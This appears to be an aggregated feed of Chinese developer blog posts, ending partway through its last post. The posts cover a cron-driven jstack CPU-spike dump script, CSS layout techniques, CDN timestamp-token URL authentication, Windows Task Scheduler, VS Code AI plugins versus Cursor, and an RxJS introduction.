840a02279b4fa7499ef377ddc975301.png JDK原生序列化问题 1737277049635.png

打印threaID的cpu高于阈值并打印堆栈线程日志

由于安全问题,朋友告诉甲方不允许执行该脚本。(请注意top -Hp 方式排查cpu高的问题,有时候线程一闪而过导致手动铺抓比较难,故使用脚本比较好),具体使用情况推荐

脚本编写

#!/bin/bash

# 由crontab触发每分钟执行一次,判断CPU使用率大于阈值时触发dump
# 使用方式:
# 把当前文件放到项目中与start.sh相同的目录
# 修改start.sh 在脚本最后加一行,一般是这一行后边 echo "$APP_NAME is up runnig :)"
# echo "* * * * * sh /export/App/bin/cpu-peak-dump.sh" | crontab -
# 可配置项:
# 触发dump的cpu阈值。default 70
# STACK_DUMP_CPU_THRESHOLD=xxx
# 触发dump时列举的线程数(按使用率由高到低排列) default 10
# STACK_DUMP_THREAD_COUNT=xxx
# 配置方式,使用行云分组的环境变量配置即可
# stack log 存放目录 /export/Logs/
# stack log 文件名: jstack_snapshot_$(date +%Y%m%d%H%M%S).log
# 最后,记得配置相应的日志清理策略

# 设置CPU阈值,当CPU使用率达到该阈值时触发线程快照
CPU_THRESHOLD="${STACK_DUMP_CPU_THRESHOLD:-100}"
THREAD_COUNT="${STACK_DUMP_THREAD_COUNT:-30}"

echo "Current CPU_THRESHOLD is $CPU_THRESHOLD"

JAVA_PID=$(pgrep -d, -x java)
echo "Current JAVA_PID is $JAVA_PID"

# 使用top命令获取当前CPU使用率,并提取其中的CPU利用率百分比
CPU_USAGE=$(top -b -n 1 | grep -A10 "PID USER" | grep java | grep "$JAVA_PID" | awk '{print $9}' | cut -d'.' -f1)

echo "Current Java($JAVA_PID) CPU_USAGE :$CPU_USAGE"%

if [ -z "$JAVA_PID" ]; then
  echo "No Java process found."
  exit 1
fi

# 检查CPU使用率是否超过阈值
if [[ $CPU_USAGE -gt $CPU_THRESHOLD ]]; then

  # 使用top命令查找占用CPU最高的前十个线程,并获取它们的信息
  TOP_THREADS=$(top -H -b -n 1 -p "$JAVA_PID" | grep -A$THREAD_COUNT 'PID USER' | head -n $THREAD_COUNT | grep -v 'PID')

  # 使用jstack捕捉JVM线程快照
  # 请将下面的Java进程ID替换为你要监视的Java进程的实际进程ID
  JSTACK_OUTPUT=$(/export/servers/jdk1.8.0_191/bin/jstack "$JAVA_PID")

  JSTACK_OUTPUT_FILE="/export/Logs/jstack_snapshot_$(date +%Y%m%d%H%M%S).log"
  echo "当前JAVA进程ID($JAVA_PID)CPU使用率:$CPU_USAGE"% >>$JSTACK_OUTPUT_FILE

  # 获取占用CPU最高的前十个线程的信息,包括线程的PID和堆栈信息,并将它们合并到同一行输出
  echo "Top ${THREAD_COUNT} CPU占用线程信息:" >>$JSTACK_OUTPUT_FILE
  while read -r THREAD_INFO; do
    THREAD_TID=$(echo "$THREAD_INFO" | awk '{print $1}')
    THREAD_NID=$(printf "%x\n" $THREAD_TID)

    THREAD_STACK=$(echo "$JSTACK_OUTPUT" | sed -n "/nid=0x$THREAD_NID /,/^$/p")
    THREAD_CPU_USAGE=$(echo "$THREAD_INFO" | awk '{print $9}')

    echo "=======================================================" >>$JSTACK_OUTPUT_FILE
    echo "线程TID: $THREAD_TID, THREAD_NID:$THREAD_NID, CPU使用率: $THREAD_CPU_USAGE%" >>$JSTACK_OUTPUT_FILE
    echo "$THREAD_STACK" >>$JSTACK_OUTPUT_FILE
  done <<<"$TOP_THREADS"

  #  echo "====all stack as below:====" >>$JSTACK_OUTPUT_FILE
  #  echo "$JSTACK_OUTPUT" >>$JSTACK_OUTPUT_FILE
  echo "捕捉了JVM线程快照并保存到 $JSTACK_OUTPUT_FILE"
fi

慢SQL的查询

开启数据库慢查询日志.......,只能hahahahaha

最后

这就是我分析问题的思路,可惜是不能拿到代码,以及具体如何优化代码。。只能分享到这里,有点小遗憾。

by Mason_Ying at January 19, 2025 09:20 AM

juejin frontend

前端学习笔记 - 布局方式总结

CSS中,布局是设计网页结构的关键,CSS提供了多种布局方式,每种方式都具有不同的特性和使用场景。常见的CSS布局方式包括:

1. 定位布局

定位布局,让元素能够根据不同的方式定位。通常用于精准控制元素的位置。

示例:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8">
  <!-- 设置各个区域块的大小 -->
  <link rel="stylesheet" href="./base.css">
  <!-- 设置页面布局方式 -->
  <link rel="stylesheet" href="./position.css">
  <title>定位、浮动、弹性盒子、网格布局</title>
  <style>
  </style>
</head>
<body>
  <div class="container">
    <div class="header">
      <div class="logo">logo</div>
      <div class="banner1">banner1</div>
      <div class="banner2">banner2</div>
    </div>
    <div class="menu">menu</div>
    <div class="main">
      <div class="main-left">
        <div class="main-header">
          <div class="item1">item1</div>
          <div class="item2">item2</div>
        </div>
        <div class="main-content">
          <div class="item3">item3</div>
          <div class="item4">item4</div>
          <div class="item5">item5</div>
          <div class="item6">item6</div>
        </div>
      </div>
      <div class="main-side-nav">
        <div class="item7">item7</div>
        <div class="item8">item8</div>
        <div class="item9">item9</div>
      </div>
    </div>
    <div class="footer">footer</div>
  </div>
</body>
</html>
.container {
  position: relative;
}
.header {
  position: relative;
  line-height: 80px;
  top: 0;
  left: 0;
}
.logo, .banner1, .banner2 {
  position: absolute;
  top: 0;
  left: 0;
}
.banner1 {
  left: 210px;
}
.banner2 {
  left: 760px;
}
.menu {
  line-height: 30px;
  position: absolute;
  top: 90px;
}
.main {
  position: absolute;
  top: 130px;
}
.main-header {
  position: absolute;
  top: 0;
  left: 0;
}
.item1, .item2{
  position: absolute;
  top: 0;
  left: 0;
}
.item2 {
  left: 380px;
}
.main-content {
  position: absolute;
  top: 210px;
  left: 0;
}
.item3, .item4, .item5, .item6 {
  position: absolute;
  top: 0;
  left: 0;
}
.item4 {
  left: 190px;
}
.item5 {
  left: 380px;
}
.item6 {
  left: 570px;
}
.main-side-nav {
  position: absolute;
  top: 0;
  left: 760px;
}
.item8 {
  margin: 10px 0;
}
.footer {
  position: absolute;
  top: 550px
}

运行结果:Screenshot 2025-01-19 at 16.29.13.png

2. 浮动布局

浮动布局,设计初衷是使文字环绕图片,并使它们向左或向右浮动。浮动元素会脱离文档流,造成父元素高度塌陷,所以通常需要通过clear属性来清除浮动。

示例(页面基础结构HTML参考定位布局):

.container::after {
  content: '';
  display: block;
  clear: both;
}
.header::after {
  content: '';
  display: block;
  clear: both;
}
.logo, .banner1, .banner2 {
  line-height: 80px;
  float: left;
}
.banner1 {
  margin: 0 10px;
}
.menu {
  margin: 10px 0;
}
.main::after {
  content: '';
  display: block;
  clear: both;
}
.main-left {
  float: left;
}
.main-header>[class^="item"] {
  float: left;
  margin-bottom: 10px;
}
.main-content>[class^="item"] {
  float: left;
  margin-bottom: 10px;
}
.main-side-nav {
  float: right;
}
.item8 {
  margin: 10px 0;
}
.item1, .item5 {
  margin-right: 10px;
}
.item4 {
  margin: 0 10px;
}

运行结果同上。

3. 弹性盒子布局

用于一维布局的CSS布局模型。它可以让子元素在容器中灵活地排列、对齐,并自动调整大小。适合用于响应布局。

示例(页面基础结构HTML参考定位布局):

.header {
  width: 960px;
  display: flex;
  justify-content: space-between;
}
.menu {
  margin: 10px 0;
}
.main {
  display: flex;
  justify-content: space-between;
}
.main-left {
  display: flex;
  width: 750px;
  height: 410px;
  flex-flow: column nowrap;
  justify-content: space-between;
}
.main-header {
  display: flex;
  justify-content: space-between;
}
.main-content {
  display: flex;
  justify-content: space-between;
}
.item8 {
  margin: 10px 0;
}
.footer {
  margin-top: 10px;
}

运行结果同上。

4. 网格布局

二维布局模型,可以实现更加复杂的布局,既可以进行行、列的布局,也可以灵活控制元素在网格中的位置。

示例(页面基础结构HTML参考定位布局):

.header {
  display: grid;
  grid-template-columns: repeat(3, auto);
  gap: 10px;
}
.menu {
  margin: 10px 0;
}
.main {
  display: grid;
  grid-template-columns: repeat(2, auto);
  justify-content: space-between;
}
.main-header {
  display: grid;
  grid-template-columns: repeat(2, auto);
  gap: 10px;
  margin-bottom: 10px;
}
.main-content {
  display: grid;
  grid-template-columns: repeat(4, auto);
  gap: 10px;
}
.item8 {
  margin: 10px 0;
}
.footer {
  margin-top: 10px;
}

运行结果同上。

5. 多列布局

用于将文本内容分成多列,类似于报纸的排版方式。

示例(实现某些壁纸网站效果):

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>多列布局</title>
  <style>
    .container {
      width: 1000px;
      margin: 0 auto;
      column-count: 3;
      column-gap: 20px;
    }
    .container>img {
      width: 100%;
      transition: 0.1s linear transform, border-shadow;
    }
    .container>img:hover {
      transform: scale(1.02);
      box-shadow: 0 0 10px black;
    }
  </style>
</head>
<body>
  <div class="container">
    <img src="./images/1.jpg"alt="">
    <img src="./images/2.jpg"alt="">
    <img src="./images/3.jpg"alt="">
    <img src="./images/4.jpg" alt="">
    <img src="./images/5.jpg" alt="">
    <img src="./images/6.jpg" alt="">
    <img src="./images/7.jpg" alt="">
    <img src="./images/8.jpg" alt="">
    <img src="./images/9.jpg" alt="">
    <img src="./images/10.jpg" alt="">
    <img src="./images/11.jpg" alt="">
    <img src="./images/12.jpg" alt="">
    <img src="./images/13.jpg" alt="">
    <img src="./images/14.jpg" alt="">
    <img src="./images/15.jpg" alt="">
  </div>
</body>
</html>

运行结果: Screenshot 2025-01-19 at 16.47.37.png

6. 响应式布局

通过媒体查询(@media)来动态调整布局,使其在不同的尺寸荧幕下可以更好的呈现网页设计。常用于移动设备和桌面设备之间的切换。

示例:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8">
  <title>响应式布局</title>
  <style>
    body {
      margin: 0;
      padding: 0;
    }

    .global-nav {
      height: 40px;
      font-size: 12px;
      background-color: rgba(245, 245, 247, .8);
    }
    .global-nav-content {
      height: 40px;
      max-width: 980px;
      margin: 0 auto;
      overflow: auto
    }
    .global-nav-content a {
      text-decoration: none;
      color: #666;
    }
    .global-nav-content img {
      width: 20px;
      cursor: pointer;
    }
    .global-nav-content>ul {
      list-style: none;
      margin: 0;
      padding: 0;

      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .global-nav-content>ul .img-nav {
      padding: 0 8px;
    }
    .global-nav-content>ul .text-nav {
      line-height: 40px;
    }
    .global-nav-content>ul>li:last-child {
      display: none;
    }

    @media only screen and (max-width: 832px) {
      .global-nav-content>ul {
        margin-top: 10px;
      }
      .global-nav-content>ul .text-nav {
        display: none;
      }
      .global-nav-content>ul .img-nav {
        padding: 0 16px;
      }
      .global-nav-content>ul>li:last-child {
        display: block;
      }
      .global-nav-content>ul>li:first-child {
        flex-grow: 1;
      }
    }
  </style>
</head>
<body>
  <div class="container">
    <div class="global-nav">
      <div class="global-nav-content">
        <ul>
          <li class="img-nav">
            <img src="./images/apple.png" alt="apple">
          </li>
          <li class="text-nav">
            <a href="#">Store</a>
          </li>
          <li class="text-nav">
            <a href="#">Mac</a>
          </li>
          <li class="text-nav">
            <a href="#">Ipad</a>
          </li>
          <li class="text-nav">
            <a href="#">Iphone</a>
          </li>
          <li class="text-nav">
            <a href="#">Watch</a>
          </li>
          <li class="text-nav">
            <a href="#">Vision</a>
          </li>
          <li class="text-nav">
            <a href="#">AirPods</a>
          </li>
          <li class="text-nav">
            <a href="#">TV & Home</a>
          </li>
          <li class="text-nav">
            <a href="#">Entertainment</a>
          </li>
          <li class="text-nav">
            <a href="#">Accessories</a>
          </li>
          <li class="text-nav">
            <a href="#">Support</a>
          </li>
          <li class="img-nav">
            <img src="./images/search.png" alt="search">
          </li>
          <li class="img-nav">
            <img src="./images/bag.png" alt="bag">
          </li>
          <li class="img-nav">
            <img src="./images/menu.png" alt="menu">
          </li>
        </ul>
      </div>
    </div>
  </div>
</body>
</html>

运行效果:

  • 屏幕尺寸大于832px时: Screenshot 2025-01-19 at 16.48.19.png
  • 屏幕尺寸小于等于832pxScreenshot 2025-01-19 at 16.48.42.png

by aricvvang at January 19, 2025 08:54 AM

juejin backend

有趣且轻量的 CDN URL 鉴权方式: 时间戳 Token 鉴权

为了防止 CDN 的 资源被盗刷而产生高额流量费;CDN 云厂商通常会给予我们简单的权限认证,避免未授权的文件被访问,进而避免资源被盗刷。我尝试了一下腾讯云基于时间戳的 Token 鉴权,还是挺巧妙和轻量的,这里分享给大家。

分享一下

文章同步发布在:

CDN 内容分发

首先科普一下 CDN (Content Delivery Network) : 我们都知道,服务器带宽资源有限,当多用户同时进行下载时,服务器可能承受不住压力。此外,由于网络环境的复杂性,不同地区访问服务器时的延迟会有所不同,甚至会在某些地区遇到较高的丢包率。

博客没有丢包情况

可以看到,我当前的网络环境,访问我的博客是非常稳定的。

因为我使用了 CDN (实际上是腾讯云 EdgeOne,相当于在 CDN 的边缘节点加速的情况下,加上了 WAF 功能): 通过在全球多个地点部署服务器,将内容缓存到不同的节点服务器,用户访问网站内容时,优先从节点获取内容数据,从而减少了数据传输的距离和时间,提高了访问速度和网站的整体性能,减轻源站服务器的压力。

graph LR
    User1[用户1] --> Node1[CDN 边缘节点]
    User2[用户2] --> Node2[CDN 边缘节点]
    User3[用户3] --> Node3[CDN 边缘节点]
    Node1 --> CDN[CDN 边缘/收敛节点]
    Node2 --> CDN[CDN 边缘/收敛节点]
    Node3 --> CDN[CDN 边缘/收敛节点]
    CDN --> Origin[源服务器]

    subgraph 全球边缘节点
        Node1
        Node2
        Node3
    end

CDN 本身其实就是一个缓存服务器,但是云厂商通常会提供一些额外的功能,比如:缓存、防盗链、限速、限流、鉴权等。我们文章介绍的是 CDN 的鉴权功能,就是衍生的功能,用来配合存储桶,非常合适。

对象存储桶

对象存储桶,是云厂商提供的一种存储服务,只是叫法可能不同,比如:Amazon S3、Google Cloud Storage、腾讯云 COS 和阿里云 OSS等。

它提供的是对象存储服务,即存储的是对象,每个对象包含一个键值对,键是对象名,值是对象内容(类似于 Redis 的 key-value)。如果只存储文件,那么使用存储桶是不错的选择。

是不是有疑问?

是不是有很多小伙伴问,为什么不直接用服务器存储? Nginx 开启一个目录映射,似乎也不是很麻烦,而且还可以鉴权。我最开始用存储桶也有这个想法,但是对比之下,主要有以下几个原因:

  • 成本更低、性能高效:存储桶通常比云服务器的存储成本更低。云服务器不仅需要支付存储费用,还需要支付计算资源的费用;并且云服务器通常需要配置额外的网络和安全措施,而存储桶则不需要。
  • 可扩展、高可用:存储桶提供了几乎无限的存储空间,可以轻松扩展,甚至是扩展到 TB 级别;而云服务器通常需要配置额外的网络和安全措施,以支持高可用性和扩展性。

如果你使用 Serverless 服务,那么存储桶还可以作为持久化数据的存储中心。比如: Serverless 搭建 WordPress,网站图片和 HTML 等数据存储在存储桶,使用 CDN 配合域名给用户提供访问服务。

联动 CDN

实际上,我们使用存储桶,都会激活一个默认的域名,比如我在腾讯云上新建的存储桶:

一个腾讯云存储桶

存储桶通常是一个地区的数据,跨地区访问,我们通常会将存储桶和 云厂商的 CDN 联动,实现跨地区加速访问和公有访问资源的防盗刷、轻量鉴权。

举个例子:

  • Case 1: 我们的存储桶可能是上海的某个地区,我们上传 App 的更新包到其中;如果只使用存储通,所有用户都从存储桶所在的上海地区下载,那么下载速度可能就会比较慢。这个时候,我们可以将 CDN 节点部署在离用户更近的地方,比如北京、广州等地区,这样用户下载时,就会从就近的 CDN 节点下载,从而提高下载速度。
  • Case 2: 我们使用存储桶当作图床,肯定是公有读;但是为了防止存储桶被盗刷,我们可以设置私有读,使用 CDN 公有范围。最后,当前端渲染图片的时候,资源的加载走 CDN 配合 Token 鉴权的方式完成,可以防止图片被盗问题。
flowchart LR
    User([公网用户])
    subgraph Public["公有读私有写方案"]
        B1[存储桶]
    end
    subgraph Private["私有读、私有写+CDN方案"]
        B2[边缘节点缓存资源/回源存储桶]
        CDN[边缘节点]
        Auth[Token鉴权]
    end
    
    User -->|直接访问| B1
    User -->|携带Token| CDN
    CDN -->|鉴权| Auth
    Auth -->|验证通过| B2
    Auth -->|验证失败| X[拒绝访问]
    
    style Public fill:#e1f3d8
    style Private fill:#fbe5e1

细看 Case 2,腾讯云的 CDN 主要有两种鉴权方式:远程鉴权Token 鉴权(URL 时间戳鉴权)。

腾讯云 EdgeOne 使用函数实现远程鉴权

远程鉴权,需要使用云函数、云服务器等,设置自己的鉴权逻辑:

sequenceDiagram
    participant Client as 客户端
    participant CDN as 边缘节点
    participant AuthServer as 鉴权服务器

    Client->>CDN: 发送请求(包含鉴权参数)
    CDN->>AuthServer: 转发请求
    AuthServer-->>CDN: 返回鉴权结果
    CDN->>Client: 响应客户端(允许/拒绝访问)

相比之下,我觉得 Token 鉴权方式更轻量,不需要额外的服务器;基于时间戳来绑定有效期,也可以防止盗刷:

sequenceDiagram
    participant 客户端
    participant 边缘节点

    客户端->>边缘节点: 发起请求(携带签名和时间戳)
    边缘节点->>边缘节点: 解析请求中的签名和时间戳
    边缘节点->>边缘节点: 获取鉴权算法并计算预期签名
    边缘节点->>边缘节点: 对比预期签名和请求签名
    alt 校验通过
        边缘节点->>客户端: 返回节点缓存内容
    else 校验失败
        边缘节点->>客户端: 拒绝访问请求
    end

还是挺有趣的。我们来看一下。

嘿嘿,一起来看看

时间戳鉴权

终于到了“硬菜”了。前文说到,使用时间戳鉴权,就是改变 URL 的内容,内部添加 token 参数,当 token 无效(时间过期、篡改)时,拒绝访问。

细看时间戳鉴权。以腾讯云 CDN(包括 EdgeOne)为例,主要有四种鉴权签名计算方式:

  • TypeA: 在请求的 URL 末尾附加一个计算出的签名,该签名通过将资源请求路径、时间戳、密钥以及一串随机字符串拼接起来,并对其进行MD5哈希运算得到。
  • TypeB: 重新排列 URL 的目录结构,在域名和路径之间插入时间戳和计算出的签名,该签名通过将资源请求路径、时间戳以及密钥拼接起来,并对其进行MD5哈希运算得到。
  • TypeC: 同样重新排列 URL 的目录结构,与 TypeB不同的是,时间戳使用十六进制表示
  • TypeD: 与 TypeA 类似,只是末尾附加计算出来的签名同时,附带时间戳。计算签名使用密钥、资源请求路径和时间戳拼接起来,并对其进行MD5哈希运算得到。时间戳支持十进制和十六进制表示。

我们以 TypeD 为例,来演示一下时间戳鉴权。首先,在腾讯云的 CDN 或者 EdgeOne 管理控制台,并且联动了腾讯云的 COS 存储桶:

配置 EdgeOne 和 存储桶联动

配置当前的鉴权方式为 TypeD,然后配置密钥和过期时间,如下图所示:

配置时间戳鉴权

可以看到,主要设置了:

  1. URL Path: URL 路径。我这里使用即存储桶的路径,比如:/private/1.jpg。我这里使用正则匹配。
  2. Token 鉴权: Token 鉴权选择了 TypeD,并且设置了主/备密钥、鉴权加密串参数名称、鉴权时间戳参数名称、时间格式为十六进制以及过期时间。

最后的 URL 形式是将https://www.example.com/private/demo/demo.png计算为https://www.example.com/private/demo/demo.png?sign=99883f521c85d00dd0a39ac6854269b1&t=675efd21

当我们的 URL 发送到 CDN/EdgeOne 的 边缘节点 时,边缘节点 服务器解析出 URL 中的 时间戳参数 与 Token 鉴权 与当前时间进行比较:

  • 如果 时间戳参数 有效时长小于当前时间,则服务器判定过期失效,并返回 HTTP 403错误。
  • 如果 时间戳参数 有效时长大于当前时间,则使用 MD5 算法算出 md5hash 的值,再比较计算出来的 md5hash 值与 URL 中传入的 Token 鉴权 值,如果一致则放过,不一致则返回 HTTP 403错误。

那么?我们如何计算签名和时间戳呢?

代码实现

首先,我们需要安装一个 MD5 加密库;在实际的使用过程中,将原 URL 计算出 EdgeOne 目标 URL 过程应该是后端进行的,我这里为了方便,直接前端 JavaScript 实现。

为了实现 MD5 加密,方法很多,比如:crypto-js或者js-md5;然后,我们就可以使用 MD5 加密库来计算签名和时间戳了。我这里使用 js-md5:

npm install js-md5

根据 TokenD 的计算方式,我们可以写一个 JavaScript 的函数,来计算签名和时间戳:

// 获取 URL 的路径等信息
function getPathFromUrl(fullUrl) {
    // 创建一个 URL 对象
    const urlObj = new URL(fullUrl);
    // 移除查询字符串
    urlObj.search = ''; // 或者使用 delete url.search;
    // 如果你还需要移除hash部分
    urlObj.hash = '';
    return {
        pureHost: `${urlObj.protocol}//${urlObj.hostname}`,
        purePath: urlObj.pathname,
        pureUrl: urlObj.toString()
    }
}

export function makeTokenD(fullUrl, secretKey,  sign = "sign",
                    tType="Dec",tKey = "t") {
    /**
     * 计算签名和时间戳
     * @param fullUrl 请求的 URL
     * @param secretKey 密钥
     * @param sign 鉴权加密串参数名称
     * @param tType 时间戳格式,Dec 或者 Hex
     * @param tKey 时间戳参数名称
     * @return {string} 包含签名和时间戳的 URL
     * */
    let host = getPathFromUrl(fullUrl);
    // 鉴权加密串参数名称
    const signStr = sign || "sign";
    // 鉴权时间戳参数名称
    const tStr = tKey || "t";
    let timestampMilliseconds = Math.floor(Date.now() / 1000);
    if (tType === "Hex") {
        // 时间戳使用十六进制表示
        timestampMilliseconds = parseInt(timestampMilliseconds).toString(16);
    }
    const token = md5(`${secretKey}${host.purePath}${timestampMilliseconds}`);
    return `${host.pureUrl}?${signStr}=${token}&${tStr}=${timestampMilliseconds}`;
}

我们顺便也写一个前端,来测试一下:腾讯云 CDN / EO Token 鉴权生成

腾讯云 CDN / EO Token 鉴权生成

当然,为了更好的 Demo ,我实际上还有代码实现其他几种方式,比如:TypeA、TypeB、TypeC、TypeD,感兴趣的可以查看源码。

END

好了,关于腾讯云 CDN 的 Token 验证内容,就介绍到这里啦。感谢你的阅读。如果觉得文章对你有点帮助,记得分享给身边的小伙伴哦。其实 CDN 的扩展性挺高的,对网站的体验改善也非常不错,小伙伴们可以多尝试,多体验。

最后,如果你觉得本篇教程对你有帮助,迎加入我们的开发者交流群: 812198734 ,一起交流学习,共同进步。

by Mintimate at January 19, 2025 08:53 AM

juejin freebie

Win 定时任务

一、打开任务计划程序

Win + R 搜索 taskschd.msc

2025-01-19_16-25-09.png

二、创建基础任务

新建文件夹,用于存储定时定时任务

2025-01-19_16-31-40.png

在创建好的文件夹右击,创建基础任务

2025-01-19_16-32-44.png

根据实际情况添加,这里选择要定期执行的任务或脚本

2025-01-19_16-29-03.png

可以在刚刚创建的定时任务,右击“属性”,编辑相关的内容

2025-01-19_16-35-35.png

三、注意

3.1 查看日志

默认历史记录是禁用状态,可有右侧点击“启用所有任务历史记录”处开启

开启后可能会卡顿,慎选

2025-01-19_16-40-03.png

3.2 相对路径

此外,若脚本中涉及到文件地址信息,要填写绝对地址

若填写相对地址(./),将会被定位到 C:\Windows\System32

以下图为例,若日志写到的目录是 ./logs/2025-01-19.txt

实际生成到的目录是 C:\Windows\System32\log\2025-01-19.txt

2025-01-19_16-42-43.png

四、参考

教你使用win10实现电脑的定时任务执行_win10计划任务-CSDN博客

Windows 2012 任务计划程序中的历史记录(已禁用),如何启用? - 杂谈 - 文江博客 (wenjiangs.com)

by xyy123 at January 19, 2025 08:46 AM

juejin frontend

「工具链🛠️」你真的愿意因为Cursor而放弃VScode吗?或许这样配置会更爽!🤖🤖

Hi! 这里是不使用cursorJustHappy,不知道你是否和我一样,作为一个前端的切图仔,尽管各路大神都在推荐使用cursor,但是初恋终究是初恋,像我们切图仔这么纯爱的程序员💩,怎么会喜新厌旧呢?

image.png

VScode已经是一款深度集成AI的编辑器啦!牛夫人又变小甜甜啦!copilot免费,加上各种免费的大模型AI辅助编程!

白嫖大模型汇总:大家如果有什么推荐的欢迎评论区留言啊

排名不分先后,都可以集成到VScode中

我丢不掉的VScode📒📒

先给大家讲讲我目前编码的实际情况,以下是我VScode的现状截图

image.png

我感觉在AI编程方面是和cursor的体验差不多的,但是VScode给我一种熟悉感,一种更自如的感觉,这可能就是所谓的肌肉记忆

我把所有有关AI辅助编程的插件都设置在了我VScode编辑器的右边辅助区,这样可以保持编码区域始终在我的视线中间,如何操作呢?

image.png

很简单,目前像阿里的通义灵码、github copilot都默认集成到右侧的辅助区,但是像我前段时间用的比较多的百度comate和marscode还是默认集成到左侧辅助区的,这有什么坏处呢?这会和我们使用频率很高的文件区冲突!我们只需要像下面这样鼠标右键选中,就可以将其移动到右侧啦!

image.png

就会像下面这样🐮🐮

image.png

VScode我丢不掉的原因

丢不掉的“主侧边栏”

image.png

相信大家和我一样初上手cursor的陌生感很大一部分来自我这个“主侧边栏”的位置调整,还有很多朋友喜欢在这自定义添加一些功能键,而cursor的“主侧边栏”不止是移动了,空间也小了,使得其放不下那么多功能键,这样你要使用一些东西的时候就需要鼠标点击两次

image.png

翻牌子的“AI”体验

在curser中你只能用curser的Claude,但是在VScode中可以“翻牌子”,可以看到我目前的VScode中集成了不止一款大模型,github copilot也可以选择使用curser的Claude模型,对于我目前的编码来说完全够用

image.png

cursor可以的我VScode也行

相信很多人当初被Cursor惊艳到的是它的一键accept功能,但是目前我在VScode中使用copilot或者阿里的通义灵码也是可以实现这样的操作的

image.png

具体的大家可以安装体验

那Cursor给代码编辑器领域带来了什么?🫡

也许你和我一样不选择直接使用cursor但是不可否认,cursor带给编辑器领域的革新是巨大的,这一点值得所有软件开发者敬畏

优秀的编码交互体验

Cursor让编码变得超简单。它的界面一看就懂,用起来也特别顺手。写代码的时候,它就像个实习生,能猜到你想写啥,然后马上把可能的代码补全选项给你列出来。你只要轻轻一点,代码就自动填上了。这样一来,写代码的速度嗖嗖地快,还能少犯些小错误,让咱们能把心思都放在怎么把程序写得更好上。

更强大的AI检索能力

Cursor的检索是LLM辅助编程领域的一个飞跃,不再只局限于单一文件的索引,而是有目的的去检索目录下的文件,这极大提高了大模型的的辅助准确性,不止是在单一文件中Tab补全,而是相对来说有一个系统性的“大局观”

更沉浸式的“对话 - 编码”

用Cursor编码的聊天机制相比其之前的LLM辅助编程更加的沉浸,你可以在代码中的任意位置唤出AI为你解决问题,也可以让AI更准确的定位你的问题

by JustHappy at January 19, 2025 08:45 AM

RxJS 介绍

RxJS(Reactive Extensions for JavaScript)是一个用于处理异步数据流的库,它基于观察者模式和迭代器模式,提供了强大的工具来处理事件、异步操作和数据流。RxJS 的核心概念是 Observable(可观察对象),它代表一个数据流,可以被订阅(subscribe)以接收数据。

官网介绍: 可以把 RxJS 当做是用来处理事件的 Lodash

基础概念

在 RxJS 中用来解决异步事件管理的的基本概念是:

  • Observable (可观察对象): 表示一个概念,这个概念是一个可调用的未来值或事件的集合。
  • Observer (观察者): 一个回调函数的集合,它知道如何去监听由 Observable 提供的值。
  • Subscription (订阅): 表示 Observable 的执行,主要用于取消 Observable 的执行。
  • Operators (操作符): 采用函数式编程风格的纯函数 (pure function),使用像 mapfilterconcatflatMap 等这样的操作符来处理集合。
  • Subject (主体): 相当于 EventEmitter,并且是将值或事件多路推送给多个 Observer 的唯一方式。
  • Schedulers (调度器): 用来控制并发并且是中央集权的调度员,允许我们在发生计算时进行协调,例如 setTimeoutrequestAnimationFrame 或其他。

Observable 剖析

Observables 是使用 Rx.Observable.create 或创建操作符创建的,并使用观察者来订阅它,然后执行它并发送 next / error / complete 通知给观察者,而且执行可能会被清理。这四个方面全部编码在 Observables 实例中,但某些方面是与其他类型相关的,像 Observer (观察者) 和 Subscription (订阅)。

Observable 的核心关注点:

  • 创建 Observables
  • 订阅 Observables
  • 执行 Observables
  • 清理 Observables

通常我们使用所谓的创建操作符, 像 offrominterval、等等

订阅 Observables

订阅 Observable 像是调用函数, 并提供接收数据的回调函数。可以传入一个函数或者是对象

var observer = {
  next: x => console.log('Observer got a next value: ' + x),
  error: err => console.error('Observer got an error: ' + err),
  complete: () => console.log('Observer got a complete notification'),
};

observable.subscribe(observer);
// or
observable.subscribe(x => console.log('Observer got a next value: ' + x));
// or next,error,complete
observable.subscribe(
  x => console.log('Observer got a next value: ' + x),
  err => console.error('Observer got an error: ' + err),
  () => console.log('Observer got a complete notification')
);

执行 Observables

Observable 执行可以传递三种类型的值:

  • "Next" 通知: 发送一个值,比如数字、字符串、对象,等等。
  • "Error" 通知: 发送一个 JavaScript 错误 或 异常。
  • "Complete" 通知: 不再发送任何值。
var observable = Rx.Observable.create(function subscribe(observer) {
  try {
    observer.next(1);
    observer.next(2);
    observer.next(3);
    observer.complete();
  } catch (err) {
    observer.error(err); // 如果捕获到异常会发送一个错误
  }
});

var subscription = observable.subscribe(x => console.log(x));
// 删除
subscription.unsubscribe();

当你订阅了 Observable,你会得到一个 Subscription ,它表示进行中的执行。只要调用 unsubscribe() 方法就可以取消执行。

在内部提供 unsubscribe 函数

var observable = Rx.Observable.create(function subscribe(observer) {
  // 追踪 interval 资源
  var intervalID = setInterval(() => {
    observer.next('hi');
  }, 1000);

  // 提供取消和清理 interval 资源的方法
  return function unsubscribe() {
    clearInterval(intervalID);
  };
});

Subscription (订阅)

Subscription 基本上只有一个 unsubscribe() 函数,这个函数用来释放资源或去取消 Observable 执行。

var observable = Rx.Observable.interval(1000);
var subscription = observable.subscribe(x => console.log(x));
// 稍后:
// 这会取消正在进行中的 Observable 执行
// Observable 执行是通过使用观察者调用 subscribe 方法启动的
subscription.unsubscribe();

Subscription 还可以合在一起,这样一个 Subscription 调用 unsubscribe() 方法,可能会有多个 Subscription 取消订阅 。

Subscriptions 还有一个 remove(otherSubscription) 方法,用来撤销一个已添加的子 Subscription

var observable1 = Rx.Observable.interval(400);
var observable2 = Rx.Observable.interval(300);

var subscription = observable1.subscribe(x => console.log('first: ' + x));
var childSubscription = observable2.subscribe(x => console.log('second: ' + x));

subscription.add(childSubscription);

setTimeout(() => {
  // subscription 和 childSubscription 都会取消订阅
  subscription.unsubscribe();
}, 1000);

Subject (主体)

RxJS Subject 是一种特殊类型的 Observable,它允许将值多播给多个观察者,所以 Subject 是多播的,而普通的 Observables 是单播的(每个已订阅的观察者都拥有 Observable 的独立执行)。

每个 Subject 都是 Observable 。也可以每个 Subject 都是观察者。

观察者

import { Subject } from "rxjs";

var subject = new Subject();

subject.subscribe({
  next: (v) => console.log("observerA: " + v),
});
subject.subscribe({
